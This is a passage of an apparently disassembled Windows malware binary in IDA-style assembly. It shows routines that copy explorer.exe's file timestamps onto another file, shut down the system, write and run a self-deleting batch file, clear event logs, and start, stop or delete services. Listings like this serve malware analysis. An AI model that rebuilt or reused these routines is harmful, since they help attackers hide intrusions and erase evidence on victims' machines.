		call	ds:dword_427164	; UnmapViewOfFile
		push	edi
		call	ds:dword_427068	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_418290
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418212+16j
		xor	eax, eax


loc_418290:				; CODE XREF: sub_418212+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418294	proc near		; CODE XREF: WinMain(x,x,x,x)+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB710	; SearchPathA
		test	eax, eax
		jz	short loc_418333
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_427174	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_427068
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_427170	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_418333:				; CODE XREF: sub_418294+2Aj
					; sub_418294+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418294	endp


; =============== S U B	R O U T	I N E =======================================



sub_418338	proc near		; CODE XREF: sub_401ACD+16B2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB594	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41835A	proc near		; CODE XREF: sub_401ACD+2755p
					; sub_4163FA+472p

Str		= byte ptr -764h
var_364		= byte ptr -364h
Dest		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
Dst		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837E
		cmp	dword_4CB724, esi
		jnz	short loc_41837E
		push	esi		; Str
		call	sub_401000
		pop	ecx


loc_41837E:				; CODE XREF: sub_41835A+13j
					; sub_41835A+1Bj
		call	sub_40B2C0
		lea	eax, [ebp+Str]
		push	eax
		push	400h
		call	ds:dword_4270B0	; GetTempPathA
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DE
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	edi
		call	ds:dword_4270E0	; WriteFile
		push	edi
		call	ds:dword_427068	; CloseHandle
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43D808
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:dword_42709C	; GetModuleHandleA
		push	eax
		call	ds:dword_427070	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_427098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418486
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_427094	; SetFileAttributesA


loc_418486:				; CODE XREF: sub_41835A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_427178	; ExpandEnvironmentStringsA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_42706C	; CreateProcessA


loc_4184DE:				; CODE XREF: sub_41835A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4184E2(int,char *Str,int,int,int)

sub_4184E2	proc near		; CODE XREF: sub_401ACD+7233p

Dest		= byte ptr -294h
Dst		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		mov	[ebp+Dst], 94h
		push	eax
		call	ds:dword_4270C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_418578
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5D4	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4CB5E4	; ClearEventLogA
		test	eax, eax
		jz	short loc_41856A
		push	[ebp+arg_10]
		push	offset asc_439074 ; "-"


loc_418543:				; CODE XREF: sub_4184E2+94j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_41856A:				; CODE XREF: sub_4184E2+57j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43904C
		jmp	short loc_418543
; ---------------------------------------------------------------------------


loc_418578:				; CODE XREF: sub_4184E2+3Fj
		lea	eax, [ebp+Dest]
		push	offset asc_43901C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 1Ch


loc_4185A2:				; CODE XREF: sub_4184E2+86j
		pop	edi
		leave
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4185A5(char *Source,int,int)

sub_4185A5	proc near		; CODE XREF: sub_401ACD+55FFp

Dest		= word ptr -1C0h
var_15C		= byte ptr -15Ch
Str		= word ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	ds:dword_4270C8	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FB
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E4
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185A5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F6
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FB


loc_4185F6:				; CODE XREF: sub_4185A5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FB:				; CODE XREF: sub_4185A5+27j
					; sub_4185A5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ds:dword_4270B8	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	ds:dword_4270BC	; GetProcAddress
		push	32h		; MaxCount
		mov	edi, eax
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_mbstowcs
		push	32h		; MaxCount
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]	; Source
		push	eax		; Dest
		call	_mbstowcs
		push	32h		; MaxCount
		lea	eax, [ebp+Str]
		push	[ebp+arg_8]	; Source
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_wcslen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	ds:dword_427138	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418685	proc near		; CODE XREF: sub_40111D+F7p
					; sub_40E6D9+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	_rand
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_4276F8
		call	__ftol
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C2	proc near		; CODE XREF: sub_401ACD:loc_406127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41871A
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439098[esi]
		push	edi
		push	eax
		call	sub_41873C
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41870A
		push	edi
		push	off_439094[esi]
		push	offset asc_4391A8 ; "-"


loc_4186FA:				; CODE XREF: sub_4186C2+56j
		mov	esi, offset byte_4DB6D0
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_418737
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C2+2Aj
		push	eax
		call	sub_4187DE
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43917C
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_41871A:				; CODE XREF: sub_4186C2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset byte_4DB6D0
		push	off_439090[eax*4]
		push	offset asc_439158 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_418737:				; CODE XREF: sub_4186C2+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873C	proc near		; CODE XREF: sub_4186C2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB648	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418763
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4187D8
; ---------------------------------------------------------------------------


loc_418763:				; CODE XREF: sub_41873C+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB530	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418783
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4187D0
; ---------------------------------------------------------------------------


loc_418783:				; CODE XREF: sub_41873C+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B6
		cmp	eax, 3
		jz	short loc_4187A7
		jle	short loc_4187C9
		cmp	eax, 6
		jg	short loc_4187C9
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB59C	; ControlService
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187A7:				; CODE XREF: sub_41873C+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB538	; StartServiceA
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41873C+4Dj
		push	esi
		call	dword_4CB5A0	; DeleteService


loc_4187BD:				; CODE XREF: sub_41873C+69j
					; sub_41873C+78j
		test	eax, eax
		jnz	short loc_4187C9
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_4187C9:				; CODE XREF: sub_41873C+54j
					; sub_41873C+59j ...
		push	esi
		call	dword_4CB54C	; CloseServiceHandle


loc_4187D0:				; CODE XREF: sub_41873C+45j
		push	edi
		call	dword_4CB54C	; CloseServiceHandle
		pop	esi


loc_4187D8:				; CODE XREF: sub_41873C+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DE	proc near		; CODE XREF: sub_4186C2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418893
		jz	loc_41888C
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418856
		jz	short loc_41884C
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418842
		dec	ecx
		dec	ecx
		jz	short loc_418838
		dec	ecx
		jz	short loc_41882E
		sub	ecx, 51h
		jz	short loc_418824
		sub	ecx, 24h
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418824:				; CODE XREF: sub_4187DE+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41882E:				; CODE XREF: sub_4187DE+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418838:				; CODE XREF: sub_4187DE+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187DE+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_4187DE+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418856:				; CODE XREF: sub_4187DE+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418885
		dec	ecx
		jz	short loc_41887E
		dec	ecx
		jz	short loc_418877
		dec	ecx
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: sub_4187DE+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41887E:				; CODE XREF: sub_4187DE+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: sub_4187DE+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41888C:				; CODE XREF: sub_4187DE+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418893:				; CODE XREF: sub_4187DE+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F6
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_41894A[ecx]
		jmp	ds:off_418922[ecx*4] ; switch jump


loc_4188B7:				; DATA XREF: .text:off_418922o
		push	offset aTheSpecifiedDa ; jumptable 004188B0 case 7
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188BE:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: .text:off_418922o
		push	offset aTheServiceDepe ; jumptable 004188B0 case 17
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: .text:off_418922o
		push	offset aTheServiceDe_0 ; jumptable 004188B0 case 10
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188CC:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: .text:off_418922o
		push	offset aTheServiceHasB ; jumptable 004188B0 case 0
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188D3:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: .text:off_418922o
		push	offset aTheSpecified_0 ; jumptable 004188B0 case 2
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188DA:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: .text:off_418922o
		push	offset aTheServiceCoul ; jumptable 004188B0 case 11
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E1:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: .text:off_418922o
		push	offset aTheServiceHa_0 ; jumptable 004188B0 case 14
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: .text:off_418922o
		push	offset aTheRequested_1 ; jumptable 004188B0 case 3
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188EF:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: .text:off_418922o
		push	offset aTheServiceHasN ; jumptable 004188B0 case 4
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188F6:				; CODE XREF: sub_4187DE+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FB:				; CODE XREF: sub_4187DE+41j
					; sub_4187DE+4Bj ...
		push	offset byte_4DB010 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_41891C
; ---------------------------------------------------------------------------


loc_418909:				; CODE XREF: sub_4187DE+36j
					; sub_4187DE+89j ...
		push	eax		; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset byte_4DB010 ; Dest
		call	_sprintf
		add	esp, 0Ch


loc_41891C:				; CODE XREF: sub_4187DE+129j
		mov	eax, offset byte_4DB010
		retn
sub_4187DE	endp

; ---------------------------------------------------------------------------
off_418922	dd offset loc_4188CC	; DATA XREF: sub_4187DE+D2r
		dd offset loc_4188D3	; jump table for switch	statement
		dd offset loc_4188E8
		dd offset loc_4188EF
		dd offset loc_4188B7
		dd offset loc_4188C5
		dd offset loc_4188DA
		dd offset loc_4188E1
		dd offset loc_4188BE
		dd offset loc_418909
byte_41894A	db	0,     9,     1,     2 ; DATA XREF: sub_4187DE+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41895C(int,char *Str,int)

sub_41895C	proc near		; CODE XREF: sub_401ACD+45D4p

var_38C		= dword	ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB648	; OpenSCManagerA
		push	ebx		; int
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]	; int
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_418994:				; CODE XREF: sub_41895C+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB614	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_4189CE
		call	ds:dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_418A82


loc_4189CE:				; CODE XREF: sub_41895C+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A79
		lea	esi, [ebp+var_188]


loc_4189DF:				; CODE XREF: sub_41895C+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A28
		dec	eax
		jz	short loc_418A21
		dec	eax
		jz	short loc_418A1A
		dec	eax
		jz	short loc_418A13
		dec	eax
		jz	short loc_418A0C
		dec	eax
		jz	short loc_418A05
		dec	eax
		jz	short loc_4189FE
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41895C+99j
		push	offset aPaused	; "	Paused"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A05:				; CODE XREF: sub_41895C+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A0C:				; CODE XREF: sub_41895C+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A13:				; CODE XREF: sub_41895C+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A1A:				; CODE XREF: sub_41895C+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41895C+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_41895C+87j
		push	offset aStopped	; "    Stopped"


loc_418A2D:				; CODE XREF: sub_41895C+A0j
					; sub_41895C+A7j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+Dest]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_2	; "%s: %s (%s)"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DF


loc_418A79:				; CODE XREF: sub_41895C+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418994


loc_418A82:				; CODE XREF: sub_41895C+6Cj
		push	[ebp+var_C]
		call	dword_4CB54C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418A99(int,char *Str,int)

sub_418A99	proc near		; CODE XREF: sub_401ACD:loc_406167p

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Str]
		test	edi, edi
		jz	loc_418B33
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC2
		dec	eax
		jnz	short loc_418B13
		push	edi
		push	0
		call	sub_418C6C
		pop	ecx
		pop	ecx
		jmp	short loc_418B0F
; ---------------------------------------------------------------------------


loc_418AC2:				; CODE XREF: sub_418A99+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B01
		push	24h		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B01
		push	57h
		pop	eax


loc_418AD9:				; CODE XREF: sub_418A99+78j
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_4DB2CC
		push	off_439090[eax*4]
		push	offset asc_43973C ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B01:				; CODE XREF: sub_418A99+2Dj
					; sub_418A99+3Bj
		push	[ebp+arg_8]	; int
		push	edi		; Str
		push	0		; int
		call	sub_418BC0
		add	esp, 0Ch


loc_418B0F:				; CODE XREF: sub_418A99+27j
		test	eax, eax
		jnz	short loc_418AD9


loc_418B13:				; CODE XREF: sub_418A99+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_4DB2CC
		push	off_439094[eax*4]
		push	offset asc_439720 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418A99+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_4DB2CC
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset asc_4396FC ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_418B53:				; CODE XREF: sub_418A99+66j
					; sub_418A99+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B59	proc near		; CODE XREF: sub_419E7A+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B66
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B66:				; CODE XREF: sub_418B59+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4DB4CC, 1
		mov	ebp, eax
		jnz	short loc_418BA3
		or	byte_4DB4CC, 1
		lea	eax, [ebp+1]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	dword_4DB26C, eax


loc_418BA3:				; CODE XREF: sub_418B59+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB26C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4DB26C
		pop	edi
